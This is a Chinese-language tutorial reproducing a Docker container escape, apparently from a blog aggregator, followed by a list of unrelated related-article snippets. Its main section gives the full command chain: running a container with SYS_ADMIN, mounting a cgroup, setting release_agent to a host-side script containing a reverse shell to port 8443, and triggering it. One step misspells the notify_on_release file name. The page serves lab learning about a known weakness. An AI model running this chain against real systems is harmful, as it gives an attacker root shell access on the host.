Docker SYS_ADMIN 权限容器逃逸

news2024/9/20 3:56:33

1.漏洞原理

Docker容器不同于虚拟机,它共享宿主机操作系统内核。宿主机和容器之间通过内核命名空间(namespaces)、内核Capabilities、CGroups(control groups)等技术进行隔离。

若启动docker容器时给主机一个--cap-add=SYS_ADMIN的权限,攻击者可以在容器内通过挂载宿主机cgroup,并利用cgroup notify_on_release的特性在宿主机执行shell,从而实现容器逃逸。

注释:

cgroup:限制资源分配的技术,限制docker的特定资源

Linux下SYS_ADMIN权限:允许执行系统管理任务,如加载或卸载文件系统、设置磁盘配额等

notify_on_release特性:这个参数值是Boolean型,1或0。分别可以启动和禁用释放代理的指令。如果notify_on_release启用(即值为1时),当cgroup不再包含任何任务时(即,cgroup的tasks文件里的PID为空时),系统内核会默认执行release_agent参数指定的文件里的内容。

2实验环境

系统环境:ubuntu

docker版本:18.09

挂载的ununtu版本:18.04

3漏洞复现

3.1安装Ubuntu docker 镜像

命令:

docker pull ubuntu:18.04

3.2 SYS_ADMIN的权限运行ubuntu容器

命令:

docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu:18.04 /bin/bash

--security-opt apparmor=unconfined这两个选项默认的开启AppArmor配置,保证了docker以严格模式运行使用权限限制较高,改为unconfined表示表示去除Docker默认的AppArmor配置,即不开启严格模式运行容器。

结果:

3.3查看docker添加的权限

命令:

cat /proc/$$/status | grep Cap

结果:

查看CapEff的具体权限

命令:

capsh --decode=00000000a82425fb

结果:

其中SYS_ADMIN权限添加成功

3.4挂载cgroup及其选项

命令:

mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp 

结果:

查看挂载

命令:

ls /tmp/cgrp

注意挂载完成宿主机的memory后主要是为了成功设置notify_on_release为1 以及在release_agent中加入文件。

3.5在cgroup中新建一个子系统

新建cgroup子系统是为了防止影响宿主机的正常运行

命令:

mkdir /tmp/cgrp/x

将使用x文件作为POC操作的主要目标

3.6设置notify_on_release为值1

命令:

echo 1 > /tmp/cgrp/x/notify_no_release

结果:

3.7将release_agent指定为容器在宿主机上的cmd文件

3.7.1寻找容器路径

由于最后需要运行的为release_agent中的内容,文件的位置在宿主机上所以需要寻找宿主机上容器的路径以便于反弹release_agent中的内容

命令:

host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

结果:

3.7.2写入shell文件cmd到容器路径中

在这个目录里创建一个cmd文件,并把它作为/tmp/cgrp/release_agent参数指定的文件

命令:

echo "$host_path/cmd" > /tmp/cgrp/release_agent

结果:

3.8创建写入cmd文件

应该在docker的根目录下创建原因:由于docker共享宿主机磁盘即docker在系统下有自己的文件夹,所以docker的根目录下创建的文件也会体现于系统中。

命令:

echo '#!/bin/sh' > /cmd
echo "sh -i >& /dev/tcp/127.0.0.1/8443 0>&1" >> /cmd   #使用同一台宿主机8443端口进行shell回弹监听

结果:

在宿主机中查看cmd文件创建成功。

3.9给cmd文件执行权限

chmod a+x /cmd

3.10使用本机进行回弹端口监听

重新打开一个会话用于回弹端口监听

命令:

nc -lvvp 8443

3.11执行cmd文件

命令:

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

该命令启动一个sh进程,将sh进程的PID写入到/tmp/cgrp/x/cgroup.procs里,这里的\$\$表示sh进程的PID。在执行完sh -c之后,sh进程自动退出,这样cgroup /tmp/cgrp/x里不再包含任何任务,/tmp/cgrp/release_agent文件里的shell将被操作系统内核执行,即自动执行cmd文件。

3.12查看回弹监听结果

查看权限

宿主机成功回弹,逃逸成功。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/384241.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【el】表格

一、用法1、动态表格后端返回的值&#xff1a;第一个数组是表头&#xff0c;其余是内容<el-tableref"tableHeight":data"tableColumns":height"tableHeight"borderstyle"width: 100%; margin-top: 1%"row-click"rowclick"…

14、字符串处理函数

目录 一、字符串复制 二、字符串连接 三、字符串比较 四、字符串大小写转换 五、获得字符串长度 一、字符串复制 在字符串处理函数中包含strcpy函数&#xff0c;该函数可用于复制特定长度的字符串到另一个字符串中。其语法格式如下&#xff1a; 功能&#xff1a;把源字符…

张驰咨询:用六西格玛方法降低锂电池内部短路缺陷

锂电池作为现代电子设备中最常用的电池类型之一&#xff0c;由于其高能量密度和长寿命等优点&#xff0c;已经广泛应用于手机、笔记本电脑、电动车等领域。然而&#xff0c;在锂电池制造过程中&#xff0c;由于材料、工艺、设备等多种因素的影响&#xff0c;会产生内部短路的问…

基于麻雀算法改进的SVM电器启动识别,基于麻雀算法优化SVM分类预测

目录 摘要 背影 Eggholder测试函数 MATALB编程 测试函数代码 麻雀算法原理 麻雀算法主要参数 麻雀算法流程图 麻雀算法优化测试函数代码 基于麻雀算法改进的SVM电器启动识别 matlab编程实现 效果图 结果分析 展望 摘要 麻雀算法理论&#xff0c;SSA-SVM,电器启动识别&#x…

Android开发之简单控件

文章目录一 文本显示1.1 文本设置的两种方式1.2 常见字号单位类型2.2 设置文本的颜色三 视图基础3.1 设置视图的宽高3.2 设置视图的间距3.3 设置视图的对齐方式四常用布局4.1 线性布局LinearLayout4.2 相对布局RelativeLayout4.3 网格布局GridLayout4.4 滚动视图ScrollView五 按…

【uni-app教程】二、UniAPP 初始化相关配置

二、UniAPP 初始化相关配置 (1)工程目录结构 https://uniapp.dcloud.net.cn/tutorial/project.html#目录结构) 工程简介 一个工程&#xff0c;就是一个 Vue 项目&#xff0c;你可以通过 HBuilderX 或 cli 方式快速创建 uni-app 工程&#xff0c;详见&#xff1a;快速上手。 …

arduino烧录引导程序(BootLoader)方法及出错点

文章目录一、硬件电路准备1、328P的管脚图2、电路连接图&#xff08;1&#xff09;连接图&#xff08;2&#xff09; ISP连接及端口介绍&#xff08;3&#xff09;管脚连接对应表1、准备ArduinoISP2、使用Arduino as ISP烧录设置Arduino板为烧写器3、烧录及错误4、为新烧录328p…

无代码开发浅谈

前 言互联网共享软件工厂KAPT无代码开发平台&#xff0c;提供了可视化编程方法&#xff0c;经过拖拽组件&#xff0c;就像做ppt一样&#xff0c;快速的就能搭建一个软件应用&#xff0c;更高效的构建业务应用程序。以前开发软件大多只能编写代码完成&#xff0c;所以有软件开发…

Mit6.S081-实验1-Xv6 and Unix utilities-pingpong问题

Mit6.S081-实验1-Xv6 and Unix utilities-pingpong问题在进行pingpong实验的时候遇到了许多问题在这里记录一下。 1.输出乱序问题 出现这个问题主要是因为没有弄懂wait(0)的作用&#xff0c; wait(0)暂时停止目前进程的执行&#xff0c;直到信号来到或子进程结束&#xff0c;…

如何让自动化测试框架更自动化?

一、引言 ​对于大厂的同学来说&#xff0c;接口自动化是个老生常谈的话题了&#xff0c;毕竟每年的MTSC大会议题都已经能佐证了&#xff0c;不是大数据测试&#xff0c;就是AI测试等等&#xff08;越来越高大上了&#xff09;。不可否认这些专项的方向是质量智能化发展的方向…

csgo搬砖项目,真的能月入6k?

01 相信很多粉丝都知道steam这个平台&#xff0c;steam是一个游戏平台&#xff0c;这里面的游戏都是要通过去充值购买才能去玩&#xff0c;有的是买游戏的账号&#xff0c;有的是买这个游戏的使用权&#xff0c;买了之后安装到手机上或者电脑上我们才能去畅玩游戏&#xff0c;…

【人工智能 Open AI 】我们程序员真的要下岗了- 全能写Go / C / Java / C++ / Python / JS 人工智能机器人

文章目录[toc]人工智能 AI Code 写代码测试用golang实现冒泡排序用golang实现计算环比函数goroutine and channel用golang实现二叉树遍历代码用golang实现线程安全的HashMap操作代码using C programming language write a tiny Operation Systemuse C language write a tiny co…

【9】SCI易中期刊推荐——工程技术-计算机:软件工程(中科院4区)

🚀🚀🚀NEW!!!SCI易中期刊推荐栏目来啦 ~ 📚🍀 SCI即《科学引文索引》(Science Citation Index, SCI),是1961年由美国科学信息研究所(Institute for Scientific Information, ISI)创办的文献检索工具,创始人是美国著名情报专家尤金加菲尔德(Eugene Garfield…

电脑C盘满了,怎么清理c盘空间?

电脑的C盘是系统盘&#xff0c;存储着操作系统和软件等关键文件&#xff0c;因此当C盘空间不足时&#xff0c;电脑的性能和稳定性都会受到影响。 真实案例&#xff1a;c盘空间莫名其妙变小&#xff1f; “C盘快满了不敢乱删&#xff0c;请问该如何清理&#xff1f;” “求大佬…

八股文(一)

一、箭头函数和普通函数有什么区别 (1)箭头函数比普通函数更加简洁 (2)箭头函数没有自己的this 箭头函数不同于传统JavaScript中的函数&#xff0c;箭头函数并没有属于⾃⼰的this&#xff0c;它所谓的this是捕获其所在上下⽂的 this 值&#xff0c;作为⾃⼰的 this 值&#…

希赛PMP模拟题2022(第9套)

希赛PMP模拟题2022&#xff08;第9套&#xff09; 22 需求和范围 区别 21 什么阶段&#xff1f; 在开发过程中不断衡量 价值 和优先级关系排序20 产品路线图 回顾 团队沟通方式 无法面对面沟通时候 其他人参与 了解项目 需求发布计划 风险 排序发表计划 vs 评审会议 老母鸡 是…

ESP-C3入门14. 实现基本的web server

ESP-C3入门14. 实现基本的web server一、ESP32 IDF创建WEB SERVER的流程1. 配置web服务器2. 注册 URI处理器3. 实现 URI处理器函数4. 处理HTTP请求5. 处理web socket连接6. 注册 URI 处理函数7. 启动HTTP服务器8. 发送响应9. 关闭 http 服务二、本要主要使用API的说明1. httpd_…

编码器的作用和功能有哪些

编码器的作用和功能有哪些 最近很多咨询编码器的作用的&#xff0c;小编结合一下线上和线下的资料&#xff0c;总结了一下&#xff0c;供大家参考。 要说编码器&#xff0c;它的作用很多&#xff0c;主要是用来测量机械运动的速度、位置、角度、距离或计数的&#xff0c;编码器…

SkyWalking使用案例-2

文章目录SkyWalking实现基于容器环境Dubbo微服务链路跟踪部署Dubbo Provider构建Dubbo Provider镜像运行dubbo-provider部署Dubbo Consumer构建Dubbo Consumer镜像运行dubbo-consumer验证SkyWalking收集python项目数据Skywalking告警Skywalking指标Skywalking告警规则SkyWalkin…

62. 不同路径

62. 不同路径 一个机器人位于一个 m∗nm * nm∗n 网格的左上角 &#xff08;起始点在下图中标记为 “Start” &#xff09;。 机器人每次只能向下或者向右移动一步。机器人试图达到网格的右下角&#xff08;在下图中标记为 “Finish” &#xff09;。 问总共有多少条不同的路…